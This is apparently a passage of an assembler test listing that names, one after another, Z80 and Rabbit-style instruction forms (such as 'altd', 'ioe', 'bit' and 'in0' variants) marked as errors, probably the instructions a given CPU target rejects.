Error altd srl l ; Error altd sub (hl) ; Error altd sub (ix) ; Error altd sub (ix+127) ; Error altd sub (ix-128) ; Error altd sub (iy) ; Error altd sub (iy+127) ; Error altd sub (iy-128) ; Error altd sub -128 ; Error altd sub 127 ; Error altd sub 255 ; Error altd sub a ; Error altd sub a, (hl) ; Error altd sub a, (ix) ; Error altd sub a, (ix+127) ; Error altd sub a, (ix-128) ; Error altd sub a, (iy) ; Error altd sub a, (iy+127) ; Error altd sub a, (iy-128) ; Error altd sub a, -128 ; Error altd sub a, 127 ; Error altd sub a, 255 ; Error altd sub a, a ; Error altd sub a, b ; Error altd sub a, c ; Error altd sub a, d ; Error altd sub a, e ; Error altd sub a, h ; Error altd sub a, l ; Error altd sub b ; Error altd sub c ; Error altd sub d ; Error altd sub e ; Error altd sub h ; Error altd sub l ; Error altd sub m ; Error altd xor (hl) ; Error altd xor (ix) ; Error altd xor (ix+127) ; Error altd xor (ix-128) ; Error altd xor (iy) ; Error altd xor (iy+127) ; Error altd xor (iy-128) ; Error altd xor -128 ; Error altd xor 127 ; Error altd xor 255 ; Error altd xor a ; Error altd xor a, (hl) ; Error altd xor a, (ix) ; Error altd xor a, (ix+127) ; Error altd xor a, (ix-128) ; Error altd xor a, (iy) ; Error altd xor a, (iy+127) ; Error altd xor a, (iy-128) ; Error altd xor a, -128 ; Error altd xor a, 127 ; Error altd xor a, 255 ; Error altd xor a, a ; Error altd xor a, b ; Error altd xor a, c ; Error altd xor a, d ; Error altd xor a, e ; Error altd xor a, h ; Error altd xor a, l ; Error altd xor b ; Error altd xor c ; Error altd xor d ; Error altd xor e ; Error altd xor h ; Error altd xor l ; Error and (ix) ; Error and (ix+127) ; Error and (ix-128) ; Error and (iy) ; Error and (iy+127) ; Error and (iy-128) ; Error and a', (hl) ; Error and a', (ix) ; Error and a', (ix+127) ; Error and a', (ix-128) ; Error and a', (iy) ; Error and a', (iy+127) ; Error and a', (iy-128) ; Error and a', -128 ; Error and a', 127 ; Error and a', 255 ; Error and a', a ; Error and a', b ; Error and a', c ; Error and a', d ; Error and a', e ; Error and a', h ; Error and a', l ; Error and a, (ix) ; Error and a, (ix+127) ; Error and a, (ix-128) ; Error and a, (iy) ; Error and a, (iy+127) ; Error and a, (iy-128) ; Error and a, ixh ; Error and a, ixl ; Error and a, iyh ; Error and a, iyl ; Error and hl', de ; Error and hl, de ; Error and ix, de ; Error and ixh ; Error and ixl ; Error and iy, de ; Error and iyh ; Error and iyl ; Error and.a ix, de ; Error and.a iy, de ; Error bit -1, (hl) ; Error bit -1, (hl) ; Error bit -1, (ix) ; Error bit -1, (ix) ; Error bit -1, (ix+127) ; Error bit -1, (ix+127) ; Error bit -1, (ix-128) ; Error bit -1, (ix-128) ; Error bit -1, (iy) ; Error bit -1, (iy) ; Error bit -1, (iy+127) ; Error bit -1, (iy+127) ; Error bit -1, (iy-128) ; Error bit -1, (iy-128) ; Error bit -1, a ; Error bit -1, a ; Error bit -1, b ; Error bit -1, b ; Error bit -1, c ; Error bit -1, c ; Error bit -1, d ; Error bit -1, d ; Error bit -1, e ; Error bit -1, e ; Error bit -1, h ; Error bit -1, h ; Error bit -1, l ; Error bit -1, l ; Error bit 0, (hl) ; Error bit 0, (ix) ; Error bit 0, (ix+127) ; Error bit 0, (ix-128) ; Error bit 0, (iy) ; Error bit 0, (iy+127) ; Error bit 0, (iy-128) ; Error bit 0, a ; Error bit 0, b ; Error bit 0, c ; Error bit 0, d ; Error bit 0, e ; Error bit 0, h ; Error bit 0, l ; Error bit 1, (hl) ; Error bit 1, (ix) ; Error bit 1, (ix+127) ; Error bit 1, (ix-128) ; Error bit 1, (iy) ; Error bit 1, (iy+127) ; Error bit 1, (iy-128) ; Error bit 1, a ; Error bit 1, b ; Error bit 1, c ; Error bit 1, d ; Error bit 1, e ; Error bit 1, h ; Error bit 1, l ; Error bit 2, (hl) ; Error bit 2, (ix) ; Error bit 2, (ix+127) ; Error bit 2, (ix-128) ; Error bit 2, (iy) ; Error bit 2, (iy+127) ; Error bit 2, (iy-128) ; Error bit 2, a ; Error bit 2, b ; Error bit 2, c ; Error bit 2, d ; Error bit 2, e ; Error bit 2, h ; Error bit 2, l ; Error bit 3, (hl) ; Error bit 3, (ix) ; Error bit 3, (ix+127) ; Error bit 3, (ix-128) ; Error bit 3, (iy) ; Error bit 3, (iy+127) ; Error bit 3, (iy-128) ; Error bit 3, a ; Error bit 3, b ; Error bit 3, c ; Error bit 3, d ; Error bit 3, e ; Error bit 3, h ; Error bit 3, l ; Error bit 4, (hl) ; Error bit 4, (ix) ; Error bit 4, (ix+127) ; Error bit 4, (ix-128) ; Error bit 4, (iy) ; Error bit 4, (iy+127) ; Error bit 4, (iy-128) ; Error bit 4, a ; Error bit 4, b ; Error bit 4, c ; Error bit 4, d ; Error bit 4, e ; Error bit 4, h ; Error bit 4, l ; Error bit 5, (hl) ; Error bit 5, (ix) ; Error bit 5, (ix+127) ; Error bit 5, (ix-128) ; Error bit 5, (iy) ; Error bit 5, (iy+127) ; Error bit 5, (iy-128) ; Error bit 5, a ; Error bit 5, b ; Error bit 5, c ; Error bit 5, d ; Error bit 5, e ; Error bit 5, h ; Error bit 5, l ; Error bit 6, (hl) ; Error bit 6, (ix) ; Error bit 6, (ix+127) ; Error bit 6, (ix-128) ; Error bit 6, (iy) ; Error bit 6, (iy+127) ; Error bit 6, (iy-128) ; Error bit 6, a ; Error bit 6, b ; Error bit 6, c ; Error bit 6, d ; Error bit 6, e ; Error bit 6, h ; Error bit 6, l ; Error bit 7, (hl) ; Error bit 7, (ix) ; Error bit 7, (ix+127) ; Error bit 7, (ix-128) ; Error bit 7, (iy) ; Error bit 7, (iy+127) ; Error bit 7, (iy-128) ; Error bit 7, a ; Error bit 7, b ; Error bit 7, c ; Error bit 7, d ; Error bit 7, e ; Error bit 7, h ; Error bit 7, l ; Error bit 8, (hl) ; Error bit 8, (hl) ; Error bit 8, (ix) ; Error bit 8, (ix) ; Error bit 8, (ix+127) ; Error bit 8, (ix+127) ; Error bit 8, (ix-128) ; Error bit 8, (ix-128) ; Error bit 8, (iy) ; Error bit 8, (iy) ; Error bit 8, (iy+127) ; Error bit 8, (iy+127) ; Error bit 8, (iy-128) ; Error bit 8, (iy-128) ; Error bit 8, a ; Error bit 8, a ; Error bit 8, b ; Error bit 8, b ; Error bit 8, c ; Error bit 8, c ; Error bit 8, d ; Error bit 8, d ; Error bit 8, e ; Error bit 8, e ; Error bit 8, h ; Error bit 8, h ; Error bit 8, l ; Error bit 8, l ; Error bit.a -1, (hl) ; Error bit.a -1, (hl) ; Error bit.a -1, (ix) ; Error bit.a -1, (ix) ; Error bit.a -1, (ix+127) ; Error bit.a -1, (ix+127) ; Error bit.a -1, (ix-128) ; Error bit.a -1, (ix-128) ; Error bit.a -1, (iy) ; Error bit.a -1, (iy) ; Error bit.a -1, (iy+127) ; Error bit.a -1, (iy+127) ; Error bit.a -1, (iy-128) ; Error bit.a -1, (iy-128) ; Error bit.a -1, a ; Error bit.a -1, a ; Error bit.a -1, b ; Error bit.a -1, b ; Error bit.a -1, c ; Error bit.a -1, c ; Error bit.a -1, d ; Error bit.a -1, d ; Error bit.a -1, e ; Error bit.a -1, e ; Error bit.a -1, h ; Error bit.a -1, h ; Error bit.a -1, l ; Error bit.a -1, l ; Error bit.a 0, (ix) ; Error bit.a 0, (ix+127) ; Error bit.a 0, (ix-128) ; Error bit.a 0, (iy) ; Error bit.a 0, (iy+127) ; Error bit.a 0, (iy-128) ; Error bit.a 1, (ix) ; Error bit.a 1, (ix+127) ; Error bit.a 1, (ix-128) ; Error bit.a 1, (iy) ; Error bit.a 1, (iy+127) ; Error bit.a 1, (iy-128) ; Error bit.a 2, (ix) ; Error bit.a 2, (ix+127) ; Error bit.a 2, (ix-128) ; Error bit.a 2, (iy) ; Error bit.a 2, (iy+127) ; Error bit.a 2, (iy-128) ; Error bit.a 3, (ix) ; Error bit.a 3, (ix+127) ; Error bit.a 3, (ix-128) ; Error bit.a 3, (iy) ; Error bit.a 3, (iy+127) ; Error bit.a 3, (iy-128) ; Error bit.a 4, (ix) ; Error bit.a 4, (ix+127) ; Error bit.a 4, (ix-128) ; Error bit.a 4, (iy) ; Error bit.a 4, (iy+127) ; Error bit.a 4, (iy-128) ; Error bit.a 5, (ix) ; Error bit.a 5, (ix+127) ; Error bit.a 5, (ix-128) ; Error bit.a 5, (iy) ; Error bit.a 5, (iy+127) ; Error bit.a 5, (iy-128) ; Error bit.a 6, (ix) ; Error bit.a 6, (ix+127) ; Error bit.a 6, (ix-128) ; Error bit.a 6, (iy) ; Error bit.a 6, (iy+127) ; Error bit.a 6, (iy-128) ; Error bit.a 7, (ix) ; Error bit.a 7, (ix+127) ; Error bit.a 7, (ix-128) ; Error bit.a 7, (iy) ; Error bit.a 7, (iy+127) ; Error bit.a 7, (iy-128) ; Error bit.a 8, (hl) ; Error bit.a 8, (hl) ; Error bit.a 8, (ix) ; Error bit.a 8, (ix) ; Error bit.a 8, (ix+127) ; Error bit.a 8, (ix+127) ; Error bit.a 8, (ix-128) ; Error bit.a 8, (ix-128) ; Error bit.a 8, (iy) ; Error bit.a 8, (iy) ; Error bit.a 8, (iy+127) ; Error bit.a 8, (iy+127) ; Error bit.a 8, (iy-128) ; Error bit.a 8, (iy-128) ; Error bit.a 8, a ; Error bit.a 8, a ; Error bit.a 8, b ; Error bit.a 8, b ; Error bit.a 8, c ; Error bit.a 8, c ; Error bit.a 8, d ; Error bit.a 8, d ; Error bit.a 8, e ; Error bit.a 8, e ; Error bit.a 8, h ; Error bit.a 8, h ; Error bit.a 8, l ; Error bit.a 8, l ; Error bool hl ; Error bool hl' ; Error bool ix ; Error bool iy ; Error brlc de,b ; Error bsla de,b ; Error bsra de,b ; Error bsrf de,b ; Error bsrl de,b ; Error call lo, -32768 ; Error call lo, 32767 ; Error call lo, 65535 ; Error call lz, -32768 ; Error call lz, 32767 ; Error call lz, 65535 ; Error ccf' ; Error clo -32768 ; Error clo 32767 ; Error clo 65535 ; Error clz -32768 ; Error clz 32767 ; Error clz 65535 ; Error cmp (ix) ; Error cmp (ix+127) ; Error cmp (ix-128) ; Error cmp (iy) ; Error cmp (iy+127) ; Error cmp (iy-128) ; Error cmp a, (ix) ; Error cmp a, (ix+127) ; Error cmp a, (ix-128) ; Error cmp a, (iy) ; Error cmp a, (iy+127) ; Error cmp a, (iy-128) ; Error cmp a, ixh ; Error cmp a, ixl ; Error cmp a, iyh ; Error cmp a, iyl ; Error cmp ixh ; Error cmp ixl ; Error cmp iyh ; Error cmp iyl ; Error cp (ix) ; Error cp (ix+127) ; Error cp (ix-128) ; Error cp (iy) ; Error cp (iy+127) ; Error cp (iy-128) ; Error cp a, (ix) ; Error cp a, (ix+127) ; Error cp a, (ix-128) ; Error cp a, (iy) ; Error cp a, (iy+127) ; Error cp a, (iy-128) ; Error cp a, ixh ; Error cp a, ixl ; Error cp a, iyh ; Error cp a, iyl ; Error cp ixh ; Error cp ixl ; Error cp iyh ; Error cp iyl ; Error cpl a' ; Error dec (ix) ; Error dec (ix+127) ; Error dec (ix-128) ; Error dec (iy) ; Error dec (iy+127) ; Error dec (iy-128) ; Error dec a' ; Error dec b' ; Error dec bc' ; Error dec c' ; Error dec d' ; Error dec de' ; Error dec e' ; Error dec h' ; Error dec hl' ; Error dec ix ; Error dec ixh ; Error dec ixl ; Error dec iy ; Error dec iyh ; Error dec iyl ; Error dec l' ; Error ex (sp), hl' ; Error ex (sp), ix ; Error ex (sp), iy ; Error ex af, af ; Error ex af, af' ; Error ex de', hl ; Error ex de', hl' ; Error ex de, hl' ; Error exx ; Error idet ; Error im -1 ; Error im -1 ; Error im 0 ; Error im 1 ; Error im 2 ; Error im 3 ; Error im 3 ; Error in (c) ; Error in a, (c) ; Error in b, (c) ; Error in c, (c) ; Error in d, (c) ; Error in e, (c) ; Error in f, (c) ; Error in h, (c) ; Error in l, (c) ; Error in0 (-128) ; Error in0 (127) ; Error in0 (255) ; Error in0 a, (-128) ; Error in0 a, (127) ; Error in0 a, (255) ; Error in0 b, (-128) ; Error in0 b, (127) ; Error in0 b, (255) ; Error in0 c, (-128) ; Error in0 c, (127) ; Error in0 c, (255) ; Error in0 d, (-128) ; Error in0 d, (127) ; Error in0 d, (255) ; Error in0 e, (-128) ; Error in0 e, (127) ; Error in0 e, (255) ; Error in0 f, (-128) ; Error in0 f, (127) ; Error in0 f, (255) ; Error in0 h, (-128) ; Error in0 h, (127) ; Error in0 h, (255) ; Error in0 l, (-128) ; Error in0 l, (127) ; Error in0 l, (255) ; Error inc (ix) ; Error inc (ix+127) ; Error inc (ix-128) ; Error inc (iy) ; Error inc (iy+127) ; Error inc (iy-128) ; Error inc a' ; Error inc b' ; Error inc bc' ; Error inc c' ; Error inc d' ; Error inc de' ; Error inc e' ; Error inc h' ; Error inc hl' ; Error inc ix ; Error inc ixh ; Error inc ixl ; Error inc iy ; Error inc iyh ; Error inc iyl ; Error inc l' ; Error ind ; Error indr ; Error ini ; Error inir ; Error ioe adc (hl) ; Error ioe adc (ix) ; Error ioe adc (ix+127) ; Error ioe adc (ix-128) ; Error ioe adc (iy) ; Error ioe adc (iy+127) ; Error ioe adc (iy-128) ; Error ioe adc a', (hl) ; Error ioe adc a', (ix) ; Error ioe adc a', (ix+127) ; Error ioe adc a', (ix-128) ; Error ioe adc a', (iy) ; Error ioe adc a', (iy+127) ; Error ioe adc a', (iy-128) ; Error ioe adc a, (hl) ; Error ioe adc a, (ix) ; Error ioe adc a, (ix+127) ; Error ioe adc a, (ix-128) ; Error ioe adc a, (iy) ; Error ioe adc a, (iy+127) ; Error ioe adc a, (iy-128) ; Error ioe add (hl) ; Error ioe add (ix) ; Error ioe add (ix+127) ; Error ioe add (ix-128) ; Error ioe add (iy) ; Error ioe add (iy+127) ; Error ioe add (iy-128) ; Error ioe add a', (hl) ; Error ioe add a', (ix) ; Error ioe add a', (ix+127) ; Error ioe add a', (ix-128) ; Error ioe add a', (iy) ; Error ioe add a', (iy+127) ; Error ioe add a', (iy-128) ; Error ioe add a, (hl) ; Error ioe add a, (ix) ; Error ioe add a, (ix+127) ; Error ioe add a, (ix-128) ; Error ioe add a, (iy) ; Error ioe add a, (iy+127) ; Error ioe add a, (iy-128) ; Error ioe altd adc (hl) ; Error ioe altd adc (ix) ; Error ioe altd adc (ix+127) ; Error ioe altd adc (ix-128) ; Error ioe altd adc (iy) ; Error ioe altd adc (iy+127) ; Error ioe altd adc (iy-128) ; Error ioe altd adc a, (hl) ; Error ioe altd adc a, (ix) ; Error ioe altd adc a, (ix+127) ; Error ioe altd adc a, (ix-128) ; Error ioe altd adc a, (iy) ; Error ioe altd adc a, (iy+127) ; Error ioe altd adc a, (iy-128) ; Error ioe altd add (hl) ; Error ioe altd add (ix) ; Error ioe altd add (ix+127) ; Error ioe altd add (ix-128) ; Error ioe altd add (iy) ; Error ioe altd add (iy+127) ; Error ioe altd add (iy-128) ; Error ioe altd add a, (hl) ; Error ioe altd add a, (ix) ; Error ioe altd add a, (ix+127) ; Error ioe altd add a, (ix-128) ; Error ioe altd add a, (iy) ; Error ioe altd add a, (iy+127) ; Error ioe altd add a, (iy-128) ; Error ioe altd and (hl) ; Error ioe altd and (ix) ; Error ioe altd and (ix+127) ; Error ioe altd and (ix-128) ; Error ioe altd and (iy) ; Error ioe altd and (iy+127) ; Error ioe altd and (iy-128) ; Error ioe altd and a, (hl) ; Error ioe altd and a, (ix) ; Error ioe altd and a, (ix+127) ; Error ioe altd and a, (ix-128) ; Error ioe altd and a, (iy) ; Error ioe altd and a, (iy+127) ; Error ioe altd and a, (iy-128) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit 0, (hl) ; Error ioe altd bit 0, (ix) ; Error ioe altd bit 0, (ix+127) ; Error ioe altd bit 0, (ix-128) ; Error ioe altd bit 0, (iy) ; Error ioe altd bit 0, (iy+127) ; Error ioe altd bit 0, (iy-128) ; Error ioe altd bit 1, (hl) ; Error ioe altd bit 1, (ix) ; Error ioe altd bit 1, (ix+127) ; Error ioe altd bit 1, (ix-128) ; Error ioe altd bit 1, (iy) ; Error ioe altd bit 1, (iy+127) ; Error ioe altd bit 1, (iy-128) ; Error ioe altd bit 2, (hl) ; Error ioe altd bit 2, (ix) ; Error ioe altd bit 2, (ix+127) ; Error ioe altd bit 2, (ix-128) ; Error ioe altd bit 2, (iy) ; Error ioe altd bit 2, (iy+127) ; Error ioe altd bit 2, (iy-128) ; Error ioe altd bit 3, (hl) ; Error ioe altd bit 3, (ix) ; Error ioe altd bit 3, (ix+127) ; Error ioe altd bit 3, (ix-128) ; Error ioe altd bit 3, (iy) ; Error ioe altd bit 3, (iy+127) ; Error ioe altd bit 3, (iy-128) ; Error ioe altd bit 4, (hl) ; Error ioe altd bit 4, (ix) ; Error ioe altd bit 4, (ix+127) ; Error ioe altd bit 4, (ix-128) ; Error ioe altd bit 4, (iy) ; Error ioe altd bit 4, (iy+127) ; Error ioe altd bit 4, (iy-128) ; Error ioe altd bit 5, (hl) ; Error ioe altd bit 5, (ix) ; Error ioe altd bit 5, (ix+127) ; Error ioe altd bit 5, (ix-128) ; Error ioe altd bit 5, (iy) ; Error ioe altd bit 5, (iy+127) ; Error ioe altd bit 5, (iy-128) ; Error ioe altd bit 6, (hl) ; Error ioe altd bit 6, (ix) ; Error ioe altd bit 6, (ix+127) ; Error ioe altd bit 6, (ix-128) ; Error ioe altd bit 6, (iy) ; Error ioe altd bit 6, (iy+127) ; Error ioe altd bit 6, (iy-128) ; Error ioe altd bit 7, (hl) ; Error ioe altd bit 7, (ix) ; Error ioe altd bit 7, (ix+127) ; Error ioe altd bit 7, (ix-128) ; Error ioe altd bit 7, (iy) ; Error ioe altd bit 7, (iy+127) ; Error ioe altd bit 7, (iy-128) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd cp (hl) ; Error ioe altd cp (ix) ; Error ioe altd cp (ix+127) ; Error ioe altd cp (ix-128) ; Error ioe altd cp (iy) ; Error ioe altd cp (iy+127) ; Error ioe altd cp (iy-128) ; Error ioe altd cp a, (hl) ; Error ioe altd cp a, (ix) ; Error ioe altd cp a, (ix+127) ; Error ioe altd cp a, (ix-128) ; Error ioe altd cp a, (iy) ; Error ioe altd cp a, (iy+127) ; Error ioe altd cp a, (iy-128) ; Error ioe altd dec (hl) ; Error ioe altd dec (ix) ; Error ioe altd dec (ix+127) ; Error ioe altd dec (ix-128) ; Error ioe altd dec (iy) ; Error ioe altd dec (iy+127) ; Error ioe altd dec (iy-128) ; Error ioe altd inc (hl) ; Error ioe altd inc (ix) ; Error ioe altd inc (ix+127) ; Error ioe altd inc (ix-128) ; Error ioe altd inc (iy) ; Error ioe altd inc (iy+127) ; Error ioe altd inc (iy-128) ; Error ioe altd ld a, (-32768) ; Error ioe altd ld a, (32767) ; Error ioe altd ld a, (65535) ; Error ioe altd ld a, (bc) ; Error ioe altd ld a, (bc+) ; Error ioe altd ld a, (bc-) ; Error ioe altd ld a, (de) ; Error ioe altd ld a, (de+) ; Error ioe altd ld a, (de-) ; Error ioe altd ld a, (hl) ; Error ioe altd ld a, (hl+) ; Error ioe altd ld a, (hl-) ; Error ioe altd ld a, (hld) ; Error ioe altd ld a, (hli) ; Error ioe altd ld a, (ix) ; Error ioe altd ld a, (ix+127) ; Error ioe altd ld a, (ix-128) ; Error ioe altd ld a, (iy) ; Error ioe altd ld a, (iy+127) ; Error ioe altd ld a, (iy-128) ; Error ioe altd ld b, (hl) ; Error ioe altd ld b, (ix) ; Error ioe altd ld b, (ix+127) ; Error ioe altd ld b, (ix-128) ; Error ioe altd ld b, (iy) ; Error ioe altd ld b, (iy+127) ; Error ioe altd ld b, (iy-128) ; Error ioe altd ld bc, (-32768) ; Error ioe altd ld bc, (32767) ; Error ioe altd ld bc, (65535) ; Error ioe altd ld c, (hl) ; Error ioe altd ld c, (ix) ; Error ioe altd ld c, (ix+127) ; Error ioe altd ld c, (ix-128) ; Error ioe altd ld c, (iy) ; Error ioe altd ld c, (iy+127) ; Error ioe altd ld c, (iy-128) ; Error ioe altd ld d, (hl) ; Error ioe altd ld d, (ix) ; Error ioe altd ld d, (ix+127) ; Error ioe altd ld d, (ix-128) ; Error ioe altd ld d, (iy) ; Error ioe altd ld d, (iy+127) ; Error ioe altd ld d, (iy-128) ; Error ioe altd ld de, (-32768) ; Error ioe altd ld de, (32767) ; Error ioe altd ld de, (65535) ; Error ioe altd ld e, (hl) ; Error ioe altd ld e, (ix) ; Error ioe altd ld e, (ix+127) ; Error ioe altd ld e, (ix-128) ; Error ioe altd ld e, (iy) ; Error ioe altd ld e, (iy+127) ; Error ioe altd ld e, (iy-128) ; Error ioe altd ld h, (hl) ; Error ioe altd ld h, (ix) ; Error ioe altd ld h, (ix+127) ; Error ioe altd ld h, (ix-128) ; Error ioe altd ld h, (iy) ; Error ioe altd ld h, (iy+127) ; Error ioe altd ld h, (iy-128) ; Error ioe altd ld hl, (-32768) ; Error ioe altd ld hl, (32767) ; Error ioe altd ld hl, (65535) ; Error ioe altd ld hl, (hl) ; Error ioe altd ld hl, (hl+127) ; Error ioe altd ld hl, (hl-128) ; Error ioe altd ld hl, (ix) ; Error ioe altd ld hl, (ix+127) ; Error ioe altd ld hl, (ix-128) ; Error ioe altd ld hl, (iy) ; Error ioe altd ld hl, (iy+127) ; Error ioe altd ld hl, (iy-128) ; Error ioe altd ld l, (hl) ; Error ioe altd ld l, (ix) ; Error ioe altd ld l, (ix+127) ; Error ioe altd ld l, (ix-128) ; Error ioe altd ld l, (iy) ; Error ioe altd ld l, (iy+127) ; Error ioe altd ld l, (iy-128) ; Error ioe altd or (hl) ; Error ioe altd or (ix) ; Error ioe altd or (ix+127) ; Error ioe altd or (ix-128) ; Error ioe altd or (iy) ; Error ioe altd or (iy+127) ; Error ioe altd or (iy-128) ; Error ioe altd or a, (hl) ; Error ioe altd or a, (ix) ; Error ioe altd or a, (ix+127) ; Error ioe altd or a, (ix-128) ; Error ioe altd or a, (iy) ; Error ioe altd or a, (iy+127) ; Error ioe altd or a, (iy-128) ; Error ioe altd rl (hl) ; Error ioe altd rl (ix) ; Error ioe altd rl (ix+127) ; Error ioe altd rl (ix-128) ; Error ioe altd rl (iy) ; Error ioe altd rl (iy+127) ; Error ioe altd rl (iy-128) ; Error ioe altd rlc (hl) ; Error ioe altd rlc (ix) ; Error ioe altd rlc (ix+127) ; Error ioe altd rlc (ix-128) ; Error ioe altd rlc (iy) ; Error ioe altd rlc (iy+127) ; Error ioe altd rlc (iy-128) ; Error ioe altd rr (hl) ; Error ioe altd rr (ix) ; Error ioe altd rr (ix+127) ; Error ioe altd rr (ix-128) ; Error ioe altd rr (iy) ; Error ioe altd rr (iy+127) ; Error ioe altd rr (iy-128) ; Error ioe altd rrc (hl) ; Error ioe altd rrc (ix) ; Error ioe altd rrc (ix+127) ; Error ioe altd rrc (ix-128) ; Error ioe altd rrc (iy) ; Error ioe altd rrc (iy+127) ; Error ioe altd rrc (iy-128) ; Error ioe altd sbc (hl) ; Error ioe altd sbc (ix) ; Error ioe altd sbc (ix+127) ; Error ioe altd sbc (ix-128) ; Error ioe altd sbc (iy) ; Error ioe altd sbc (iy+127) ; Error ioe altd sbc (iy-128) ; Error ioe altd sbc a, (hl) ; Error ioe altd sbc a, (ix) ; Error ioe altd sbc a, (ix+127) ; Error ioe altd sbc a, (ix-128) ; Error ioe altd sbc a, (iy) ; Error ioe altd sbc a, (iy+127) ; Error ioe altd sbc a, (iy-128) ; Error ioe altd sla (hl) ; Error ioe altd sla (ix) ; Error ioe altd sla (ix+127) ; Error ioe altd sla (ix-128) ; Error ioe altd sla (iy) ; Error ioe altd sla (iy+127) ; Error ioe altd sla (iy-128) ; Error ioe altd sra (hl) ; Error ioe altd sra (ix) ; Error ioe altd sra (ix+127) ; Error ioe altd sra (ix-128) ; Error ioe altd sra (iy) ; Error ioe altd sra (iy+127) ; Error ioe altd sra (iy-128) ; Error ioe altd srl (hl) ; Error ioe altd srl (ix) ; Error ioe altd srl (ix+127) ; Error ioe altd srl (ix-128) ; Error ioe altd srl (iy) ; Error ioe altd srl (iy+127) ; Error ioe altd srl (iy-128) ; Error ioe altd sub (hl) ; Error ioe altd sub (ix) ; Error ioe altd sub (ix+127) ; Error ioe altd sub (ix-128) ; Error ioe altd sub (iy) ; Error ioe altd sub (iy+127) ; Error ioe altd sub (iy-128) ; Error ioe altd sub a, (hl) ; Error ioe altd sub a, (ix) ; Error ioe altd sub a, (ix+127) ; Error ioe altd sub a, (ix-128) ; Error ioe altd sub a, (iy) ; Error ioe altd sub a, (iy+127) ; Error ioe altd sub a, (iy-128) ; Error ioe altd xor (hl) ; Error ioe altd xor (ix) ; Error ioe altd xor (ix+127) ; Error ioe altd xor (ix-128) ; Error ioe altd xor (iy) ; Error ioe altd xor (iy+127) ; Error ioe altd xor (iy-128) ; Error ioe altd xor a, (hl) ; Error ioe altd xor a, (ix) ; Error ioe altd xor a, (ix+127) ; Error ioe altd xor a, (ix-128) ; Error ioe altd xor a, (iy) ; Error ioe altd xor a, (iy+127) ; Error ioe altd xor a, (iy-128) ; Error ioe and (hl) ; Error ioe and (ix) ; Error ioe and (ix+127) ; Error ioe and (ix-128) ; Error ioe and (iy) ; Error ioe and (iy+127) ; Error ioe and (iy-128) ; Error ioe and a', (hl) ; Error ioe and a', (ix) ; Error ioe and a', (ix+127) ; Error ioe and a', (ix-128) ; Error ioe and a', (iy) ; Error ioe and a', (iy+127) ; Error ioe and a', (iy-128) ; Error ioe and a, (hl) ; Error ioe and a, (ix) ; Error ioe and a, (ix+127) ; Error ioe and a, (ix-128) ; Error ioe and a, (iy) ; Error ioe and a, (iy+127) ; Error ioe and a, (iy-128) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy-128) ; Error ioe bit -1, (iy-128) ; Error ioe bit 0, (hl) ; Error ioe bit 0, (ix) ; Error ioe bit 0, (ix+127) ; Error ioe bit 0, (ix-128) ; Error ioe bit 0, (iy) ; Error ioe bit 0, (iy+127) ; Error ioe bit 0, (iy-128) ; Error ioe bit 1, (hl) ; Error ioe bit 1, (ix) ; Error ioe bit 1, (ix+127) ; Error ioe bit 1, (ix-128) ; Error ioe bit 1, (iy) ; Error ioe bit 1, (iy+127) ; Error ioe bit 1, (iy-128) ; Error ioe bit 2, (hl) ; Error ioe bit 2, (ix) ; Error ioe bit 2, (ix+127) ; Error ioe bit 2, (ix-128) ; Error ioe bit 2, (iy) ; Error ioe bit 2, (iy+127) ; Error ioe bit 2, (iy-128) ; Error ioe bit 3, (hl) ; Error ioe bit 3, (ix) ; Error ioe bit 3, (ix+127) ; Error ioe bit 3, (ix-128) ; Error ioe bit 3, (iy) ; Error ioe bit 3, (iy+127) ; Error ioe bit 3, (iy-128) ; Error ioe bit 4, (hl) ; Error ioe bit 4, (ix) ; Error ioe bit 4, (ix+127) ; Error ioe bit 4, (ix-128) ; Error ioe bit 4, (iy) ; Error ioe bit 4, (iy+127) ; Error ioe bit 4, (iy-128) ; Error ioe bit 5, (hl) ; Error ioe bit 5, (ix) ; Error ioe bit 5, (ix+127) ; Error ioe bit 5, (ix-128) ; Error ioe bit 5, (iy) ; Error ioe bit 5, (iy+127) ; Error ioe bit 5, (iy-128) ; Error ioe bit 6, (hl) ; Error ioe bit 6, (ix) ; Error ioe bit 6, (ix+127) ; Error ioe bit 6, (ix-128) ; Error ioe bit 6, (iy) ; Error ioe bit 6, (iy+127) ; Error ioe bit 6, (iy-128) ; Error ioe bit 7, (hl) ; Error ioe bit 7, (ix) ; Error ioe bit 7, (ix+127) ; Error ioe bit 7, (ix-128) ; Error ioe bit 7, (iy) ; Error ioe bit 7, (iy+127) ; Error ioe bit 7, (iy-128) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy-128) ; Error ioe bit 8, (iy-128) ; Error ioe bit.a -1, (hl) ; Error ioe bit.a -1, (hl) ; Error ioe bit.a -1, (ix) ; Error ioe 